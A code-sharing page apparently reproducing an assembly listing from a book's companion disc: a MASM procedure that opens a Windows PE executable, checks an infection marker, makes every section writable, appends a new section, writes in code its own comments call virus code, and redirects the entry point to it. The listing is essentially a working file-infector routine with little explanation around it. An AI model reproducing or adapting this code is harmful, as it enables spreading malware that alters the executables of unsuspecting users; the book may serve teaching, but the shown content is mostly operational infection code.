⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 code.asm

📁 此为本书的配套光盘.本书结合实例
💻 ASM
字号:




CryptFile PROC szFname : LPSTR, hDlg : HWND,dwProtFlags : DWORD
	assume fs : nothing
invoke CreateFileA,szFname,GENERIC_READ or GENERIC_WRITE, \
                   FILE_SHARE_READ or FILE_SHARE_WRITE, \
                   NULL,OPEN_EXISTING, \
	           FILE_ATTRIBUTE_NORMAL,NULL
				  cmp eax,INVALID_HANDLE_VALUE
	jz preadfail
mov hFile, eax ;文件句柄

invoke SetFilePointer,hFile,3ch,0,FILE_BEGIN
invoke ReadFile,hFile,addr PE_head_addr,4,addr byte_read,0
cmp eax,0
jz preadfail ;失败就结束
invoke SetFilePointer,hFile,PE_head_addr,0,FILE_BEGIN
mov Head_len,sizeof PE_head+sizeof Section_table
invoke ReadFile,hFile,addr PE_head,Head_len,addr byte_read,0
cmp dword ptr PE_head.Signature,IMAGE_NT_SIGNATURE
	      jnz pnope
	      ;检查是否是PE文件,不是就跳出
;------------------------------------(上面的)--
              cmp word ptr PE_head[1ah],0842h            
	      jz pdo
;若已感染过也跳
;------------------------------------(上面的)--
push PE_head.OptionalHeader.AddressOfEntryPoint
              pop des_in
              push PE_head.OptionalHeader.ImageBase
              pop des_base
	      mov eax,des_in
	      add eax,des_base
	      mov des_basein,eax       
	      ;保存将要感染的程序的入口RVA和默认装入内存的地址
;------------------------------------(上面的)--
	      movzx eax,PE_head.FileHeader.SizeOfOptionalHeader
	      add eax,18h
	      mov Section_addr,eax
;得到第一个节的地址
;------------------------------------(上面的)--
mov checker_len,offset vend-offset vstart
;得到病毒代码的长度
;------------------------------------(上面的)--
movzx eax,PE_head.FileHeader.NumberOfSections
	      inc eax
	      mov ecx,28h
	      mul ecx
	      add eax,Section_addr
	      add eax,PE_head_addr
              cmp eax,PE_head.OptionalHeader.SizeOfHeaders
;检测当前文件头的剩余空间可否再加一个节。
;------------------------------------(上面的)--
ja p_no_section
                   lea esi,Section_table

				pushad
				
           movzx ecx,PE_head.FileHeader.NumberOfSections
                     loops:
		       cmp ecx,0
		           jz loopend
		       
		       or DWORD ptr [esi+24h],80000000h ;更改结的属性为可写

		       add esi,28h
             dec ecx
		       jmp loops
		     loopend:

		     
		     popad
; 软件需要读写PE中的某些节,因此我将所有节的属性全部改成符合条件的。

;------------------------------------(上面的)--
		   movzx eax,PE_head.FileHeader.NumberOfSections
		   mov ecx,28h
		   mul ecx
		   add esi,eax
		   inc PE_head.FileHeader.NumberOfSections
                   lea edi,new_section
		   xchg edi,esi
;填加一个节
;------------------------------------(上面的)--


		   mov eax,[edi-28h+8]
		   add eax,[edi-28h+0ch]
			                     ;--------------------------------------------------
		     mov temp_virt_addr,eax  ;存未对齐时的RVA  

		     ; 保存此值稍后计算  SizeOfImage  值时会用到
		     ; 请看观留意下面的代码。
                   mov ecx,PE_head.OptionalHeader.SectionAlignment
		   div ecx
		   inc eax
                   mul ecx
		   mov new_section.virt_addr,eax
;建立新块,并且块对齐,得到新块入口地址
;------------------------------------(上面的)--

		   mov eax,checker_len
			mov temp_raw_size,eax
			
		     ; 保存此值稍后计算  SizeOfImage  值时会用到
		     ; 请看观留意下面的代码。
                     ;------------------------------------(上面的)--
		   mov ecx,PE_head.OptionalHeader.FileAlignment
		   div ecx
			 test edx,edx
		      jz nextgob
		   inc eax
			nextgob:
		   mul ecx
		   mov new_section.raw_size,eax
;得出新块的物理大小,按文件对齐
;------------------------------------(上面的)--   
                   mov eax,checker_len
		   mov ecx,PE_head.OptionalHeader.SectionAlignment
		   div ecx
		      test edx,edx
		      jz nextgoc
		      inc eax
		   nextgoc:
		   mul ecx
		   mov new_section.virt_size,eax
;得出虚拟地址,按块对齐
;------------------------------------(上面的)--
           
                   mov eax,[edi-28h+14h]
		   add eax,[edi-28h+10h]

		   mov ecx,PE_head.OptionalHeader.SectionAlignment
		   div ecx
		   inc eax
		   mul ecx
		   mov new_section.raw_offset,eax
;得到文件中的偏移。(按理说应该是文件最末)
;------------------------------------(上面的)--
 ;mov eax,new_section.virt_size
	;	   add eax,PE_head.OptionalHeader.SizeOfImage
	;	   mov ecx,PE_head.OptionalHeader.SectionAlignment
	;	   div ecx
	;	   inc eax
	;	   mul ecx
	;	   mov PE_head.OptionalHeader.SizeOfImage,eax
;更新文件总尺寸。即原文件尺寸加上新块的虚拟尺寸然后对齐
;这段是原来写的对齐代码,后来用下面那段替代了
;------------------------------------(上面的)--
mov eax,new_section.virt_addr
		      add eax,temp_raw_size
		      mov ecx,PE_head.OptionalHeader.SectionAlignment
		      div ecx
		      test edx,edx
		      jz nextgod
		      inc eax
		   nextgod:
		      mul ecx
		      mov PE_head.OptionalHeader.SizeOfImage,eax

;更新文件总尺寸。即原文件尺寸加上新块的虚拟尺寸然后对齐
;------------------------------------(上面的)--
mov ecx,28h
		   rep movsb
;填加新块内容
;------------------------------------(上面的)--                  

		   mov eax,new_section.virt_addr
		   mov PE_head.OptionalHeader.AddressOfEntryPoint,eax
;改入口地址
;------------------------------------(上面的)--
                   
		   mov word ptr PE_head[1ah],0842h
;填加感染标志
;------------------------------------(上面的)--



				pushad
				push eax
           push esi
		     push ecx
			  lea esi,Section_table
           movzx ecx,PE_head.FileHeader.NumberOfSections
        loopsa:
				 add esi,28h
             dec ecx
		       cmp ecx,2					;判断是否到达到数第二个结的起始地址了
		           jnz loopsa
		       mov eax,[esi+34h]		;最后一个节的voffset
				 sub eax,DWORD ptr [esi+0ch] ;到数第二个结的voffset
				 mov DWORD ptr [esi+08],eax  ;相减后放入到数第二个结的vsize
		       

		     pop ecx
		     pop esi
			  pop eax
		     popad
;重新计算到数第二个节的vsize=最后一个节的voffet-到数第二个结的voffset
;这样才能在2000下运行
;------------------------------------(上面的)--
invoke SetFilePointer,hFile,PE_head_addr,0,FILE_BEGIN
invoke WriteFile,hFile,addr PE_head,Head_len,addr byte_read,0
cmp eax,0
jz pwerr
;更新文件头
;------------------------------------(上面的)--


invoke SetFilePointer,hFile,new_section.raw_offset,0,FILE_BEGIN
;更新指针(到文件尾)
;------------------------------------(上面的)--
mov eax,offset vstart

invoke WriteFile,hFile,eax,new_section.raw_size,addr byte_write,0
;用这段写会自动文件对齐,2000下可用
;------------------------------------(上面的)--
cmp eax,0	;判断是否成功,如果不成功就使用没有段对齐的方式写
jnz pwok
mov eax,offset vstart
invoke WriteFile,hFile,eax,checker_len,addr byte_write,0
;加入上面那段失败会使用这段写,2000不可用,需要用peedior重建立pe文件头才可在2000下用
;------------------------------------(上面的)--
cmp eax,0
jz pwerr
invoke MessageBox,hDlg,offset mduiqierr,offset mtitle,64
jmp exit
pwok:
;写病毒代码
;------------------------------------(上面的)--
invoke MessageBox,hDlg,offset mok,offset mtitle,64
exit:
invoke CloseHandle,hFile
ret
pdo:
invoke MessageBox,hDlg,offset mdo,offset mtitle,64
jmp exit
preadfailpmem:
push pMem
call GlobalFree
invoke MessageBox,hDlg,offset mopenerr,offset mtitle,64
jmp exit
preadfail:
invoke MessageBox,hDlg,offset mopenerr,offset mtitle,64
jmp exit
p_no_section:
invoke MessageBox,hDlg,offset msectionbig,offset mtitle,64
jmp exit
pnope:
invoke MessageBox,hDlg,offset mnope,offset mtitle,64
jmp exit
pwerr:
invoke MessageBox,hDlg,offset mwerr,offset mtitle,64
jmp exit
PsizeErr:
invoke MessageBox,hDlg,offset MsizeErr,offset mtitle,64
jmp exit
PMemErr:
invoke MessageBox,hDlg,offset MMemErr,offset mtitle,64
PEncryptEntryPointCodeErr:
push pMem
call GlobalFree
invoke MessageBox,hDlg,offset MEncryptEntryPointCodeErr,offset mtitle,64
jmp exit
CryptFile ENDP

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -